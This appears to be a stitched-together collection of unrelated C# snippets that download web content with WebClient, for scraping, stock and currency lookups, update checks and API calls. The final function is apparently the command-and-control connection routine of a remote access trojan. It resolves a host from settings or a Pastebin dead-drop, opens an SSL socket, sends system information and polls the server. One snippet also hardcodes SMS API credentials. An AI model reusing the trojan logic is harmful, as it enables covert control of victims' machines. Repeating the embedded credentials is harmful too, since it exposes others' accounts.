static void Main() { const string videoUrl = "https://www.youtube.com/watch?v=6pIyg35wiB4"; var client = new WebClient(); var videoPageData = client.DownloadString(videoUrl); var encodedSignature = SignatureRegex.Match(videoPageData).Groups["Signature"].Value; var playerVersion = PlayerVersionRegex.Match(videoPageData).Groups["PlayerVersion"].Value; var playerScriptUrl = string.Format(PlayerScriptUrlTemplate, playerVersion); var playerScript = client.DownloadString(playerScriptUrl); var decodeFunctionName = DecodeFunctionNameRegex.Match(playerScript).Groups["FunctionName"].Value; var decodeFunction = Regex.Match(playerScript, DecodeFunctionPatternTemplate.Replace("#NAME#", decodeFunctionName)).Value; var helperObjectName = HelperObjectNameRegex.Match((decodeFunction)).Groups["ObjectName"].Value; var helperObject = Regex.Match(playerScript, HelperObjectPatternTemplate.Replace("#NAME#", helperObjectName)).Value; var engine = new ScriptEngine(ScriptEngine.JavaScriptLanguage); var decoderScript = engine.Parse(helperObject + decodeFunction); var decodedSignature = decoderScript.CallMethod(decodeFunctionName, encodedSignature).ToString(); // Jint variant //var engine = new Engine(); //var decoderScript = engine.Execute(helperObject).Execute(decodeFunction); //var decodedSignature = decoderScript.Invoke(decodeFunctionName, encodedSignature).ToString(); Console.WriteLine("Encoded Signature\n{0}.\n{1}", encodedSignature.Split('.').First(), encodedSignature.Split('.').Last()); Console.WriteLine(); Console.WriteLine("Decoded Signature\n{0}.\n{1}", decodedSignature.Split('.').First(), decodedSignature.Split('.').Last()); Console.ReadLine(); }
public void FetchPreviewUrl() { string URI = "http://api.7digital.com/1.2/track/search?q=" + Artist + " " + Title + "&y&oauth_consumer_key=7d4vqmmnvjrt&country=GB&pagesize=2"; WebClient webClient = new WebClient(); string strXml = webClient.DownloadString(URI); webClient.Proxy = null; int ix = strXml.IndexOf("track id=\"") + 10; Id = strXml.Substring(ix).Split('"')[0]; PreviewUrl = webClient.DownloadString("http://localhost/ogger/sample-class.php?trackid=" + Id).Trim(); //the response is another url ix = strXml.IndexOf("<image>") + 7; ImageUrl = strXml.Substring(ix).Split('<')[0].Replace(".jpg", "0.jpg"); }
public string SendSms(List<string> mobiles) { using (var client = new WebClient()) { try { string langCode = "1"; if (Regex.IsMatch(Message, @"\p{IsArabic}+")) { langCode = "2"; } client.Headers.Add("content-type", "text/plain"); string mobile=String.Join(",",mobiles.ToArray()); string result = client.DownloadString(String.Format("http://brazilboxtech.com/api/send.aspx?username=smartksa&password=ksasmrt95647&language={0}&sender=NCSS&mobile={1}&message={2}",langCode, mobile, Message)); if (result.StartsWith("OK")) { return String.Empty; } return result; } catch (Exception ex) { return ex.Message; } } }
//Gets the players information public static Player getPlayer(string name) { Player player = null; string endpoint = api + "/players/find?name=" + name + "&device_id=" + Util.getDeviceID (); string response = null; try { WebClient client = new WebClient (); response = client.DownloadString (endpoint); } catch(Exception e) { Debug.LogError ("creating player inside try catch"); return ApiClient.createPlayer (name); } if (!response.Contains ("id")) { Debug.LogError ("creating player outside try catch"); return ApiClient.createPlayer (name); } JObject json = JObject.Parse (response); player = new Player( (int)json["id"], (string)json["name"], (int)json["hifive_count"], (int)json["characters"], (int)json["powerup_lvl"] ); return player; }
public void DownloadData() { string Symbol; string Name; string Bid; string Ask; string Open; string PreviousClose; string Last; DateTime date1; using (WebClient web = new WebClient()) { string csvData = web.DownloadString(string.Format("http://finance.yahoo.com/d/quotes.csv?s=AAPL+ACH+BAB+DAL+DWSN+EXPE+FCF+GYRO+HFWA+INFY+LAKE+NATI+OFC+PCTY+SAND+VTA+WPPGY+XLV+YHOO+YUM&f=snbaopl1")); string[] rows = csvData.Replace("\r","").Split('\n'); foreach (string row in rows) { if (string.IsNullOrEmpty(row)) continue; string[] cols = row.Split(','); Symbol = Convert.ToString(cols[0]); Name = Convert.ToString(cols[1]); Bid = Convert.ToString(cols[2]); Ask = Convert.ToString(cols[3]); Open = Convert.ToString(cols[4]); PreviousClose = Convert.ToString(cols[5]); Last = Convert.ToString(cols[6]); date1 = DateTime.Now; string symbol1 = Symbol.Replace("\"", ""); obj.insertstock(symbol1, Name, Bid, Ask, Open, PreviousClose, Last, date1); } } }
private string ZIP(string City, string State) { //http://zipcode.org/city/OK/TULSA //WebClient Client = new WebClient(); using (WebClient Client = new WebClient()) { string[] html = Client.DownloadString("http://zipcode.org/city/" + State + "/" + City) .Split(new char[] { '>', '<', '/', '"', '=' }, StringSplitOptions.RemoveEmptyEntries); for (int i = 0; i < html.Length; i++) { if (html[i].Contains("Area Code")) { for (i = 800; i < html.Length; i++) { if (html[i].Contains("a href")) { return html[i+1]; // returns a zip for the area. } } } } } return null; }
public static void Main(string[] args) { // API Key, password and host provided as arguments if(args.Length != 3) { Console.WriteLine("Usage: ApplicantTracking <key> <password> <host>"); Environment.Exit(1); } var API_Key = args[0]; var API_Password = args[1]; var host = args[2]; var url = "https://" + host + "/remote/jobs/active.json"; using (var wc = new WebClient()) { //Attach crendentials to WebClient header string credentials = Convert.ToBase64String(Encoding.ASCII.GetBytes(API_Key + ":" + API_Password)); wc.Headers[HttpRequestHeader.Authorization] = "Basic " + credentials; JavaScriptSerializer serializer = new JavaScriptSerializer(); var results = serializer.Deserialize<Job[]>(wc.DownloadString(url)); foreach(var job in results) { //Print results Console.WriteLine(job.Title + " (" + job.URL + ")"); } } }
/// <summary> /// This function is used to get all the available /// categories of possible events /// </summary> /// <param name="key">Key required to make the API call</param> /// <returns>JSON in String Format containing all categories</returns> public string GetCategories(string key) { String outputString = ""; int count = 0; Category category = null; Categories categories = new Categories(); using (WebClient wc = new WebClient()) { string xml = wc.DownloadString("http://api.evdb.com/rest/categories/list?app_key=" + key); XmlDocument doc = new XmlDocument(); doc.LoadXml(xml); XmlNodeList root = doc.GetElementsByTagName("category"); count = root.Count; string json = JsonConvert.SerializeXmlNode(doc); JObject obj = JObject.Parse(json); int temp = 0; while (temp < count) { category = new Category(); category.categoryID = (string)obj["categories"]["category"][temp]["id"]; category.categoryName = (string)obj["categories"]["category"][temp]["name"]; categories.categories.Add(category); temp++; } outputString = JsonConvert.SerializeObject(categories); } return outputString; }
public void method_0() { try { string xml; using (WebClient webClient = new WebClient()) { xml = webClient.DownloadString(this.string_1 + "/main.xml"); } XmlDocument xmlDocument = new XmlDocument(); xmlDocument.LoadXml(xml); XmlNodeList elementsByTagName = xmlDocument.GetElementsByTagName("repofile"); XmlNodeList elementsByTagName2 = ((XmlElement)elementsByTagName[0]).GetElementsByTagName("information"); foreach (XmlElement xmlElement in elementsByTagName2) { XmlNodeList elementsByTagName3 = xmlElement.GetElementsByTagName("id"); XmlNodeList elementsByTagName4 = xmlElement.GetElementsByTagName("name"); this.string_0 = elementsByTagName4[0].InnerText; this.string_2 = elementsByTagName3[0].InnerText; } XmlNodeList elementsByTagName5 = ((XmlElement)elementsByTagName[0]).GetElementsByTagName("category"); foreach (XmlElement xmlElement2 in elementsByTagName5) { XmlNodeList elementsByTagName3 = xmlElement2.GetElementsByTagName("id"); XmlNodeList elementsByTagName4 = xmlElement2.GetElementsByTagName("name"); GClass2 gClass = new GClass2(); gClass.string_1 = elementsByTagName4[0].InnerText; gClass.string_0 = elementsByTagName3[0].InnerText; } } catch { } }
private static string GetPageContents(string url) { using (var client = new WebClient()) { return client.DownloadString(url); } }
public static void Main(string[] args) { int len = args.Length; string[] links = new string[1]; var c = new WebClient(); if(len == 0) Console.Write(c.DownloadString("http://www.google.com")); // default else links = args; for (int i = 0; i < len; i++) { string data = c.DownloadString(links[i]); Console.Write(data); } }
public static SqlString GetHttp(SqlString url) { if (url.IsNull) return SqlString.Null; var client = new WebClient(); client.Encoding = Encoding.UTF8; return client.DownloadString(url.Value); }
protected void Page_Load( object sender, EventArgs e ) { var client = new WebClient(); var html = client.DownloadString( "http://www.cnblogs.com/" ); var parser = new JumonyParser(); var document = parser.Parse( html ); var links = document.Find( "a[href]" ); var baseUrl = new Uri( "http://www.cnblogs.com" ); var data = from hyperLink in links let url = new Uri( baseUrl, hyperLink.Attribute( "href" ).Value() ) orderby url.AbsoluteUri select new { Url = url.AbsoluteUri, IsLinkingOut = !url.Host.EndsWith( "cnblogs.com" ), Target = hyperLink.Attribute( "target" ).Value() ?? "_self" }; DataList.DataSource = data; DataBind(); }
static void Main() { string url = "http://db.tt/90tky6ui"; // For speed of dev, I use a WebClient WebClient client = new WebClient(); string html = client.DownloadString(url); int index = html.IndexOf("<img onload"); int srcIndex = html.IndexOf("src=", index); string pseudoLink = html.Substring(srcIndex + 5); string link = pseudoLink.Substring(0, pseudoLink.IndexOf('"')); //HtmlDocument doc = new HtmlDocument(); //doc.LoadHtml(html); //// Now, using LINQ to get all Images //List<HtmlNode> imageNodes = null; //imageNodes = (from HtmlNode node in doc.DocumentNode.SelectNodes("//img") // where node.Name == "img" // && node.Attributes["class"] != null // && node.Attributes["class"].Value.StartsWith("img_") // select node).ToList(); //foreach (HtmlNode node in imageNodes) //{ // Console.WriteLine(node.Attributes["src"].Value); //} }
private DateTime GetTimeFromDDG() { //https://duckduckgo.com/?q=what+time+is+it WebClient wc = new WebClient(); try { char[] separators = new char[] { '<', '>', '\\', '/', '|' }; string timeisPage = wc.DownloadString("https://duckduckgo.com/html/?q=what%20time%20is%20it"); timeisPage = timeisPage.Remove(0, timeisPage.IndexOf("\n\n\t\n\n\n\n ") + 19); string[] timeisSplit = timeisPage.Split(separators, StringSplitOptions.RemoveEmptyEntries); string Time = timeisSplit[0].Remove(timeisSplit[0].Length - 5); DateTime result; if (DateTime.TryParse(Time, out result)) { return result;//.ToString("t"); } throw new Exception(); } catch { return DateTime.Now;//.ToString("t"); } finally { wc.Dispose(); GC.Collect(); } }
public static LocationInfo GetLocationInfo(string ipParam) { LocationInfo result = null; IPAddress i = Dns.GetHostEntry(ipParam).AddressList[0]; string ip = i.ToString(); if (!cachedIps.ContainsKey(ip)) { string r; using (WebClient webClient = new WebClient()) { r = webClient.DownloadString( String.Format("http://api.hostip.info/?ip={0}&position=true", ip)); } XDocument xmlResponse = XDocument.Parse(r); try { foreach (XElement element in xmlResponse.Root.Nodes()) { if (element.Name.LocalName == "featureMember") { //element Hostip is the first element in featureMember XElement hostIpNode = (XElement)element.Nodes().First(); result = new LocationInfo(); //loop thru the elements in Hostip foreach (XElement node in hostIpNode.Elements()) { if (node.Name.LocalName == "name") result.Name = node.Value; if (node.Name.LocalName == "countryName") result.CountryName = node.Value; if (node.Name.LocalName == "countryAbbrev") result.CountryCode = node.Value; } } } } catch (NullReferenceException) { //Looks like we didn't get what we expected. } if (result != null) { cachedIps.Add(ip, result); } } else { result = cachedIps[ip]; } return result; }
public static void DownloadStringURL() { var result = string.Empty; using (var webClient = new WebClient()) { result = webClient.DownloadString("http://www.1800pocketpc.com/blog/wp-content/uploads/2011/10/telerik-logo.png"); } }
public static XDocument GetGist(string url) { using (var client = new WebClient()) { var json = client.DownloadString(url); return JsonConvert.DeserializeXNode(json, "gist"); } }
public void CallNancyService() { using (var webClient = new WebClient()) { var downloadString = webClient.DownloadString("http://localhost:12345"); Assert.AreEqual("Hello World", downloadString); } }
protected string GetHTMLFromURL() { string HTMLContent = string.Empty; if (!string.IsNullOrEmpty(_URLToConvert)) { WebClient webClient = new WebClient(); NameValueCollection queryStringCollection = new NameValueCollection(); queryStringCollection.Add("forPDF", "1"); webClient.QueryString = queryStringCollection; try { HTMLContent = webClient.DownloadString(_URLToConvert); } catch (WebException ex) { if (ex.Response is HttpWebResponse) { switch (((HttpWebResponse)ex.Response).StatusCode) { case HttpStatusCode.NotFound: litResult.Text = "Web site not found"; break; default: litResult.Text = ((HttpWebResponse)ex.Response).StatusDescription; break; } } } HTMLContent = HTMLContent.Replace(" media=\"print\"", ""); HTMLContent = HTMLContent.Replace("table.compare td .cell {\r\n padding:8px;\r\n}\r\n", "table.compare td .cell {\r\n padding:0px;\r\n}\r\ntable.compare td.first {font-weight:normal;} table.compare th .cell {color:#000000;height:50px;padding:0;}\r\n"); HTMLContent = HTMLContent.Replace(".single p {\r\n\tpadding:10px 15px;\r\n\tmargin:0;\t\r\n\tfont-size:11px !important;", "h1 {border-bottom-width:0px;padding:3px;margin-bottom:0px;}\r\nh3 {padding:3px;margin:0px;font-size:13px;}\r\n.single p {\r\n\tpadding:2px;\r\n\tmargin:0;\t\r\n\tfont-size:8px !important;"); HTMLContent = HTMLContent.Replace("<table class=\"compare\" id=\"cckfs-table\">", "<table class=\"compare\" id=\"cckfs-table\" style=\"margin-bottom:0px\">"); HTMLContent = HTMLContent.Replace("\r\ntable.compare td, table.compare th {\r\n\tborder:1px solid #ccc;\t\r\n\tfont-size:11px !important;\r\n}", "\r\ntable.compare td, table.compare th {\r\n\tborder:1px solid #ccc;\t\r\n\tfont-size:8px !important;\r\n\tpadding:3px;\r\n}\r\ntable.compare th {\r\n\t\r\n\theight:50px;\r\n}"); HTMLContent = HTMLContent.Replace("<strong>St.George Bank</strong></p>\r\n", "<img width='118' height='35' style='' src='" + HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + "/Images/stgeorgelogo.jpg' /></p>\r\n"); HTMLContent = HTMLContent.Replace("<th>Product name</th>", "<th style=\"width:115px\">Product name</th>"); HTMLContent = HTMLContent.Replace(".container {\r\n\twidth:888px;\r\n\tmargin-top:20px;\t\r\n\tfont-size:11px !important;\r\n}", ".container {\r\n\twidth:888px;\r\n\tmargin-top:0px;\t\r\n\tfont-size:11px !important;\r\n}"); HTMLContent = HTMLContent.Replace("<td align=\"left\"", "<td"); HTMLContent = HTMLContent.Replace("</body>", "<div style=\"font-size:8px;\">©2012 St.George Bank – A Division of Westpac Banking Corporation ABN 33 007 457 141 AFSL and Australian credit licence 233714.</div></body>"); Regex regex = new Regex("<div class=\"single\">"); HTMLContent = regex.Replace(HTMLContent, "<div class=\"single\" style=\"border-width:0px\">", 1); HTMLContent = regex.Replace(HTMLContent, "<div class=\"single\" style=\"border-top-width:0px;margin-bottom:5px;\">", 1); Regex regex2 = new Regex("<p class=\"left\">"); HTMLContent = regex2.Replace(HTMLContent, "<p class=\"left\" style=\"border-right-width:0px;padding:0;\">", 1); Regex regex3 = new Regex("<p class=\"right\">"); HTMLContent = regex3.Replace(HTMLContent, "<p class=\"right\" style=\"padding:0px;\">", 1); } else { litResult.Text = "No web site URL"; } return HTMLContent; }
protected string GetHTMLFromURL() { string HTMLContent = string.Empty; if (!string.IsNullOrEmpty(_URLToConvert)) { WebClient webClient = new WebClient(); NameValueCollection queryStringCollection = new NameValueCollection(); queryStringCollection.Add("forPDF", "1"); webClient.QueryString = queryStringCollection; try { HTMLContent = webClient.DownloadString(_URLToConvert); } catch (WebException ex) { if (ex.Response is HttpWebResponse) { switch (((HttpWebResponse)ex.Response).StatusCode) { case HttpStatusCode.NotFound: litResult.Text = "Web site not found"; break; default: litResult.Text = ((HttpWebResponse)ex.Response).StatusDescription; break; } } } HTMLContent = HTMLContent.Replace(" media=\"print\"", ""); HTMLContent = HTMLContent.Replace(".single p{padding:15px; margin:0;}", ".single p{padding:5px; margin:0;font-size:8px !important;} table.compare td .cell {padding: 0; } table.compare td.first {font-weight:normal;} table.compare th .cell {color:#000000;} .single p.left {font-size:11px !important;}"); HTMLContent = HTMLContent.Replace("table.compare td,table.compare th{border:1px solid #ccc;}", "table.compare td,table.compare th{border:1px solid #ccc;font-size:8px;padding:3px;height:0;}"); HTMLContent = HTMLContent.Replace("<strong>Bank of Melbourne</strong>", "<img style='margin-left:5px' width='31' height='45' src='" + HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + "/Images/bankofmelblogo.jpg' /><br/><strong>Bank of Melbourne</strong>"); HTMLContent = HTMLContent.Replace("<th>Product name</th>", "<th style=\"width:115px\">Product name</th>"); HTMLContent = HTMLContent.Replace("<table class=\"compare\">", "<table class=\"compare\" style=\"margin-bottom:0px\">"); HTMLContent = HTMLContent.Replace(".clear{clear:both}", ".clear{clear:both}\r\ntable.compare th .cell { padding:2px;height:25px; } h2, h3 { font-size: 10px; }\r\nh1{margin-bottom:5px !important;padding-bottom:0px !important;;border-bottom-width:0;}\r\nh2{font-size:12px;margin:3px 0;padding:0 !important;}\r\nh3{font-size:14px;margin:0 !important;}"); HTMLContent = HTMLContent.Replace(".container{width:888px;margin-top:20px;}", ".container{width:888px;margin-top:0px;}"); HTMLContent = HTMLContent.Replace("<td align=\"left\"", "<td"); HTMLContent = HTMLContent.Replace("</body>", "<div style=\"font-size:8px;\">©2012 Bank of Melbourne – A Division of Westpac Banking Corporation ABN 33 007 457 141 AFSL and Australian credit licence 233714.</div></body>"); Regex regex = new Regex("<div class=\"single\">"); HTMLContent = regex.Replace(HTMLContent, "<div class=\"single\" style=\"border-width:0px;margin-bottom:5px;\">", 1); HTMLContent = regex.Replace(HTMLContent, "<div class=\"single\" style=\"border-top-width:0px;margin-bottom:5px;\">", 1); Regex regex2 = new Regex("<p class=\"left\">"); HTMLContent = regex2.Replace(HTMLContent, "<p class=\"left\" style=\"border-right-width:0px;padding:0px;\">", 1); Regex regex3 = new Regex("<p class=\"right\">"); HTMLContent = regex3.Replace(HTMLContent, "<p class=\"right\" style=\"border-right-width:0px;padding:0px;float:right;text-align:center;\">", 1); } else { litResult.Text = "No web site URL"; } return HTMLContent; }
public decimal Convert(decimal amount, string fromCurrency, string toCurrency) { WebClient web = new WebClient(); string url = string.Format("http://www.google.com/ig/calculator?hl=en&q={2}{0}%3D%3F{1}", fromCurrency.ToUpper(), toCurrency.ToUpper(), amount); string response = web.DownloadString(url); Regex regex = new Regex("rhs: \\\"(\\d*.\\d*)"); decimal rate = System.Convert.ToDecimal(regex.Match(response).Groups[1].Value); return rate; }
protected void Button_AddShow_Click(object sender, EventArgs e) { if (TextBox_Name.Text != "") { BindData(); DataSet ds = new DataSet(); ds.ReadXml(Server.MapPath("App_Data/Shows.xml")); ds.Tables[0].Rows.InsertAt(ds.Tables[0].NewRow(), ds.Tables[0].Rows.Count); //the new row is the last one in the dataset int i = ds.Tables[0].Rows.Count - 1; //Gets index of the last row //Sets the latest episode data to the local season/episode so user doesn't have to look it up on tvrage.com ArrayList tvRageArray = new ArrayList(); WebClient quickInfoClient = new WebClient(); String localSeason = ""; String localEpisode = ""; var tvRageHtml = quickInfoClient.DownloadString("http://www.tvrage.com/quickinfo.php?show=" + TextBox_Name.Text); tvRageArray.AddRange(tvRageHtml.Split(new char[] { '^', '@', '\n' })); for (int x = 0; x < tvRageArray.Count; x++) { if (Convert.ToString(tvRageArray[x]) == "Latest Episode") { localSeason = Convert.ToString(tvRageArray[x + 1]).Substring(0, 2); localEpisode = Convert.ToString(tvRageArray[x + 1]).Substring(3, 2); } } ds.Tables[0].Rows[i]["Name"] = TextBox_Name.Text.Trim(); ds.Tables[0].Rows[i]["LocalSeason"] = localSeason; ds.Tables[0].Rows[i]["LocalEpisode"] = localEpisode; ds.Tables[0].Rows[i]["LatestSeason"] = ""; ds.Tables[0].Rows[i]["LatestEpisode"] = ""; ds.Tables[0].Rows[i]["LatestAirtime"] = ""; ds.Tables[0].Rows[i]["LatestAbsoluteEpisode"] = ""; ds.Tables[0].Rows[i]["LatestTitle"] = ""; ds.Tables[0].Rows[i]["NextEpisode"] = ""; ds.Tables[0].Rows[i]["NextAirtime"] = ""; ds.Tables[0].Rows[i]["NextTitle"] = ""; ds.Tables[0].Rows[i]["NextAbsoluteEpisode"] = ""; ds.Tables[0].Rows[i]["Format"] = ""; ds.Tables[0].Rows[i]["Language"] = ""; ds.Tables[0].Rows[i]["SearchBy"] = DropDownList_NewSearchBy.SelectedValue; ds.Tables[0].Rows[i]["ShowURL"] = ""; ds.Tables[0].Rows[i]["WeeklyAirtime"] = ""; ds.Tables[0].Rows[i]["LastUpdate"] = ""; ds.Tables[0].Rows[i]["NextSeason"] = ""; //Removes entries in the textboxes TextBox_Name.Text = ""; DropDownList_NewSearchBy.SelectedIndex = 0; ds.WriteXml(Server.MapPath("App_Data/Shows.xml")); gv.DataBind(); BindData(); } }
public string GetContent(string AdressUrl) { Uri url = new Uri(AdressUrl); WebClient client = new WebClient(); client.Encoding = System.Text.Encoding.UTF8; string html = client.DownloadString(url); return html; }
// Use this for initialization void Start () { new_version = false; #if UNITY_WEBPLAYER #else try { int lv, lsv, lb, cv, csv, cb; using (StreamReader sr = new StreamReader("v.data")) { string[] s = sr.ReadLine().Split('.'); lv = int.Parse(s[0]); lsv = int.Parse (s[1]); lb = int.Parse (s[2]); sr.Close(); } using (WebClient wc = new WebClient()) { string[] s = wc.DownloadString("http://artificialilliteracy.com/cloudver.data").Split('.'); cv = int.Parse(s[0]); csv = int.Parse(s[1]); cb = int.Parse(s[2]); } if (lv != cv || lsv != csv || lb != cb) new_version = true; } catch (Exception e) { } #endif if (Fight.f != null) Destroy(Fight.f); if (Map.m != null) Destroy(Map.m); DontDestroyOnLoad(gameObject); progress = 0f; local_progress = 0f; Screen.showCursor = false; ShidouGUIObject.skin = skin; StartCoroutine(Load()); o = Application.LoadLevelAdditiveAsync("load_main_menu"); o.allowSceneActivation = false; }
public string CurrencyConversion(decimal amount, string fromCurrency, string toCurrency) { WebClient web = new WebClient(); string url = string.Format("http://www.google.com/ig/calculator?hl=en&q={2}{0}%3D%3F{1}", fromCurrency.ToUpper(), toCurrency.ToUpper(), amount); string response = web.DownloadString(url); Regex regex = new Regex(@":(?<rhs>.+?),"); string[] arrDigits = regex.Split(response); string rate = arrDigits[3]; return rate; }
public string GetHTML(string songName) { StringBuilder reqToSite = new StringBuilder("https://zaycev.net/search.html?query_search="); reqToSite.Append(songName.Replace(" ", "+")); WebClient wc = new WebClient(); return(wc?.DownloadString(reqToSite.ToString())); }
public static SqlString GetHttpWithAuth(SqlString url,SqlString name, SqlString pass) { if (url.IsNull) return SqlString.Null; var client = new WebClient(); client.Encoding = Encoding.UTF8; if(name.IsNull) client.UseDefaultCredentials = true; else { client.Credentials = new NetworkCredential(name.Value, pass.Value); } return client.DownloadString(url.Value); }
public void DownloadData() { string ticker= Convert.ToString(Session["ticker"]); string year = "1962"; string Date = string.Empty; string Open = string.Empty; string High = string.Empty; string Low = string.Empty; string Close = string.Empty; string Volume = string.Empty; string AdjClose = string.Empty; DataTable history = ds.Tables.Add(); history.Columns.Add("Date"); history.Columns.Add("Open"); history.Columns.Add("High"); history.Columns.Add("Low"); history.Columns.Add("Close"); history.Columns.Add("Volume"); history.Columns.Add("AdjClose"); using (WebClient web = new WebClient()) { string data = web.DownloadString(string.Format("http://ichart.finance.yahoo.com/table.csv?s={0}&c={1}", ticker, year)); data = data.Replace("r", ""); string[] rows = data.Split('\n'); //First row is headers so Ignore it for (int i = 1; i < rows.Length; i++) { if (rows[i].Replace("n", "").Trim() == "") continue; string[] cols = rows[i].Split(','); Date = Convert.ToString(cols[0]); Open = Convert.ToString(cols[1]); High = Convert.ToString(cols[2]); Low = Convert.ToString(cols[3]); Close = Convert.ToString(cols[4]); Volume = Convert.ToString(cols[5]); AdjClose = Convert.ToString(cols[6]); history.Rows.Add(Date,Open,High, Low, Close, Volume, AdjClose); } GridView1.DataSource = ds; GridView1.DataBind(); } }
/// <summary> /// Метод для проверки обновления /// </summary> /// <param name="link">Ссылка на текстовый документ</param> private void Checker(string link) { try { Task.Run(() => AntiSniffer.Inizialize()).Start(); using var client = new WebClient { Proxy = null }; var url = new Uri(link, UriKind.Absolute); string text = client?.DownloadString(url); if (text.Contains(GlobalPath.VersionBuild)) // Сверка версии { this.VerNew.Visible = false; this.DownloadUpdates.Visible = false; if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FinalVersionMessage); } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FinalVersionMessage); } } else { this.VerNew.Visible = true; if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.AccessNew); this.VerNew.Text = $"{Language.GlobalMessageStrings_en_US.NewVer} {text}"; } else { ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.AccessNew); this.VerNew.Text = $"{Language.GlobalMessageStrings_ru_RU.NewVer} {text}"; } this.DownloadUpdates.Visible = true; } } catch (WebException) { if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase)) { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_en_US.ErrorConnect); } else { ControlActive.CheckMessage(this.ShowMessageDownload, Language.GlobalMessageStrings_ru_RU.ErrorConnect); } this.DownloadUpdates.Visible = false; } }
/// <summary> /// Determines the download URL for a FileHippo application with the given ID. /// </summary> /// <param name="avoidBeta">Whether or not to avoid beta versions. If only beta versions are available, they will be downloaded anyways.</param> public static string FileHippoDownloadUrl(string fileId, bool avoidBeta) { fileId = fileId.ToLower(); string url = GetFileHippoBaseDownloadUrl(fileId); // On the overview page, find the link to the // download page of the latest version string overviewPage = string.Empty; using (WebClient client = new WebClient()) { overviewPage = client.DownloadString(url); // If FileHippo redirects to a new name, extract it the actual ID. if (client.ResponseUri != null) { string newId = GetFileHippoIdFromUrl(client.ResponseUri.ToString()); if (!string.IsNullOrEmpty(newId) && GetFileHippoBaseDownloadUrl(newId) != url && newId != client.ResponseUri.ToString()) { LogDialog.Log(string.Format("FileHippo ID '{0}' has been renamed to '{1}'.", fileId, newId)); fileId = newId; } } } if (avoidBeta && FileHippoIsBeta(overviewPage)) { overviewPage = GetNonBetaPageContent(overviewPage, fileId, false); } string findUrl = string.Format("/download_{0}/download/", GetFileHippoCleanFileId(fileId)); int pos = overviewPage.IndexOf(findUrl); if (pos < 0) { throw new WebException("FileHippo ID '" + fileId + "' does not exist.", WebExceptionStatus.ReceiveFailure); } pos += findUrl.Length; string downloadUrl = GetFileHippoBaseDownloadUrl(fileId) + string.Format("download/{0}/", overviewPage.Substring(pos, 32)); // Now on the download page, find the link which redirects to the latest file string downloadPage = string.Empty; using (WebClient client = new WebClient()) { downloadPage = client.DownloadString(downloadUrl); } findUrl = "/download/file/"; pos = downloadPage.IndexOf(findUrl); if (pos < 0) return string.Empty; pos += findUrl.Length; string redirectUrl = string.Format("http://www.filehippo.com/download/file/{0}", downloadPage.Substring(pos, 64)); return redirectUrl; }
static void Main() { using (WebClient client = new WebClient()) { string response = client.DownloadString("http://api.rethumb.com/v1/exif/all/http://images.rethumb.com/image_exif_1.jpg"); JToken data = JObject.Parse(response); Console.WriteLine(parseGPSCoordinates(data)); } }
/// <summary> /// Метод для получения ключа пользователя с расшифровкой /// </summary> /// <param name="url">Ссылка на сайт</param> /// <returns>Расшифрованный ключ</returns> public static string GetOnlineKey(string url) { string result = string.Empty; if (string.IsNullOrWhiteSpace(url)) return result; try { var Link = new Uri(url, UriKind.Absolute); using var Client = new WebClient { Proxy = null }; return Client?.DownloadString(Link); } catch { return result; } }
/// <summary> /// Метод для получения исходного кода билда с расшифровкой /// </summary> /// <param name="url"></param> /// <returns></returns> public static string GetOnlineBuild(string url) { string result = string.Empty; if (string.IsNullOrWhiteSpace(url)) return result; try { var Link = new Uri(url, UriKind.Absolute); using var Client = new WebClient { Proxy = null }; string sourcecode = Client?.DownloadString(url); return !sourcecode.StartsWith("#") ? result : EncryptKey.Decrypt(sourcecode, GlobalPath.SecretKey_Build); } catch { return result; } }
public static void InitializeClient() { try { TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, }; if (Settings.Pastebin == "null") { string ServerIP = Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]; int ServerPort = Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]); if (IsValidDomainName(ServerIP)) //check if the address is alphanumric (meaning its a domain) { IPAddress[] addresslist = Dns.GetHostAddresses(ServerIP); //get all IP's connected to that domain foreach (IPAddress theaddress in addresslist) //we do a foreach becasue a domain can lead to multiple IP's { try { TcpClient.Connect(theaddress, ServerPort); //lets try and connect! if (TcpClient.Connected) { break; } } catch { } } } else { TcpClient.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS) } } else { using (WebClient wc = new WebClient()) { NetworkCredential networkCredential = new NetworkCredential("", ""); wc.Credentials = networkCredential; string resp = wc.DownloadString(Settings.Pastebin); string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None); Settings.Hosts = spl[0]; Settings.Ports = spl[new Random().Next(1, spl.Length)]; TcpClient.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports)); } } if (TcpClient.Connected) { Debug.WriteLine("Connected!"); IsConnected = true; SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); Buffer = new byte[4]; MS = new MemoryStream(); Send(Methods.SendInfo()); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); } else { IsConnected = false; return; } } catch { Debug.WriteLine("Disconnected!"); IsConnected = false; return; } }
